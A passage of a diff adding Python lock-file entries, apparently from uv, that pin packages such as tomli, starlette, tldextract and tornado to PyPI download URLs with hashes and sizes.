+    { url = "https://files.pythonhosted.org/packages/08/b6/3a5a4f9952972791a9114ac01dfc123f0df79903577a3e0a7a404a695586/setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a", size = 13469, upload-time = "2025-09-05T12:50:42.67Z" },
+    { url = "https://files.pythonhosted.org/packages/34/8a/aff5506ce89bc3168cb492b18ba45573158d528184e8a9759a05a09088a9/setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6", size = 12654, upload-time = "2025-09-05T12:51:17.141Z" },
+    { url = "https://files.pythonhosted.org/packages/41/89/5b6f2faedd6ced3d3c085a5efbd91380fb1f61f4c12bc42acad37932f4e9/setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2", size = 14284, upload-time = "2025-09-05T12:51:18.393Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/c0/4312fed3ca393a29589603fd48f17937b4ed0638b923bac75a728382e730/setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78", size = 13282, upload-time = "2025-09-05T12:51:19.703Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/5b/5e1c117ac84e3cefcf8d7a7f6b2461795a87e20869da065a5c087149060b/setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1", size = 12587, upload-time = "2025-09-05T12:51:21.195Z" },
+    { url = "https://files.pythonhosted.org/packages/73/02/b9eadc226195dcfa90eed37afe56b5dd6fa2f0e5220ab8b7867b8862b926/setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65", size = 14286, upload-time = "2025-09-05T12:51:22.61Z" },
+    { url = "https://files.pythonhosted.org/packages/28/26/1be1d2a53c2a91ec48fa2ff4a409b395f836798adf194d99de9c059419ea/setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a", size = 13282, upload-time = "2025-09-05T12:51:24.094Z" },
+]
+
+[[package]]
+name = "shellingham"
+version = "1.5.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "socksio"
+version = "1.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f8/5c/48a7d9495be3d1c651198fd99dbb6ce190e2274d0f28b9051307bdec6b85/socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac", size = 19055, upload-time = "2020-04-17T15:50:34.664Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/37/c3/6eeb6034408dac0fa653d126c9204ade96b819c936e136c5e8a6897eee9c/socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3", size = 12763, upload-time = "2020-04-17T15:50:31.878Z" },
+]
+
+[[package]]
+name = "soupsieve"
+version = "2.8.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7b/ae/2d9c981590ed9999a0d91755b47fc74f74de286b0f5cee14c9269041e6c4/soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349", size = 118627, upload-time = "2026-01-20T04:27:02.457Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/46/2c/1462b1d0a634697ae9e55b3cecdcb64788e8b7d63f54d923fcd0bb140aed/soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95", size = 37016, upload-time = "2026-01-20T04:27:01.012Z" },
+]
+
+[[package]]
+name = "starlette"
+version = "0.52.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c4/68/79977123bb7be889ad680d79a40f339082c1978b5cfcf62c2d8d196873ac/starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933", size = 2653702, upload-time = "2026-01-18T13:34:11.062Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/81/0d/13d1d239a25cbfb19e740db83143e95c772a1fe10202dda4b76792b114dd/starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74", size = 74272, upload-time = "2026-01-18T13:34:09.188Z" },
+]
+
+[[package]]
+name = "tabulate"
+version = "0.8.10"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7a/53/afac341569b3fd558bf2b5428e925e2eb8753ad9627c1f9188104c6e0c4a/tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519", size = 60154, upload-time = "2022-06-21T16:26:42.76Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/92/4e/e5a13fdb3e6f81ce11893523ff289870c87c8f1f289a7369fb0e9840c3bb/tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc", size = 29068, upload-time = "2022-06-21T16:26:37.943Z" },
+]
+
+[[package]]
+name = "tldextract"
+version = "5.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "filelock" },
+    { name = "idna" },
+    { name = "requests" },
+    { name = "requests-file" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/65/7b/644fbbb49564a6cb124a8582013315a41148dba2f72209bba14a84242bf0/tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb", size = 126105, upload-time = "2025-12-28T23:58:05.532Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/6d/42/0e49d6d0aac449ca71952ec5bae764af009754fcb2e76a5cc097543747b3/tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9", size = 105886, upload-time = "2025-12-28T23:58:04.071Z" },
+]
+
+[[package]]
+name = "tomli"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" },
+    { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" },
+    { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" },
+    { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" },
+    { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" },
+    { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" },
+    { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" },
+    { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" },
+    { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" },
+    { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" },
+    { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" },
+    { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" },
+    { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" },
+    { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" },
+    { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" },
+    { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" },
+]
+
+[[package]]
+name = "tornado"
+version = "6.5.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/37/1d/0a336abf618272d53f62ebe274f712e213f5a03c0b2339575430b8362ef2/tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7", size = 513632, upload-time = "2025-12-15T19:21:03.836Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ab/a9/e94a9d5224107d7ce3cc1fab8d5dc97f5ea351ccc6322ee4fb661da94e35/tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9", size = 443909, upload-time = "2025-12-15T19:20:48.382Z" },
+    { url = "https://files.pythonhosted.org/packages/db/7e/f7b8d8c4453f305a51f80dbb49014257bb7d28ccb4bbb8dd328ea995ecad/tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843", size = 442163, upload-time = "2025-12-15T19:20:49.791Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/b5/206f82d51e1bfa940ba366a8d2f83904b15942c45a78dd978b599870ab44/tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17", size = 445746, upload-time = "2025-12-15T19:20:51.491Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/9d/1a3338e0bd30ada6ad4356c13a0a6c35fbc859063fa7eddb309183364ac1/tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335", size = 445083, upload-time = "2025-12-15T19:20:52.778Z" },
+    { url = "https://files.pythonhosted.org/packages/50/d4/e51d52047e7eb9a582da59f32125d17c0482d065afd5d3bc435ff2120dc5/tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f", size = 445315, upload-time = "2025-12-15T19:20:53.996Z" },
+    { url = "https://files.pythonhosted.org/packages/27/07/2273972f69ca63dbc139694a3fc4684edec3ea3f9efabf77ed32483b875c/tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84", size = 446003, upload-time = "2025-12-15T19:20:56.101Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/83/41c52e47502bf7260044413b6770d1a48dda2f0246f95ee1384a3cd9c44a/tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f", size = 445412, upload-time = "2025-12-15T19:20:57.398Z" },
+    { url = "https://files.pythonhosted.org/packages/10/c7/bc96917f06cbee182d44735d4ecde9c432e25b84f4c2086143013e7b9e52/tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8", size = 445392, upload-time = "2025-12-15T19:20:58.692Z" },
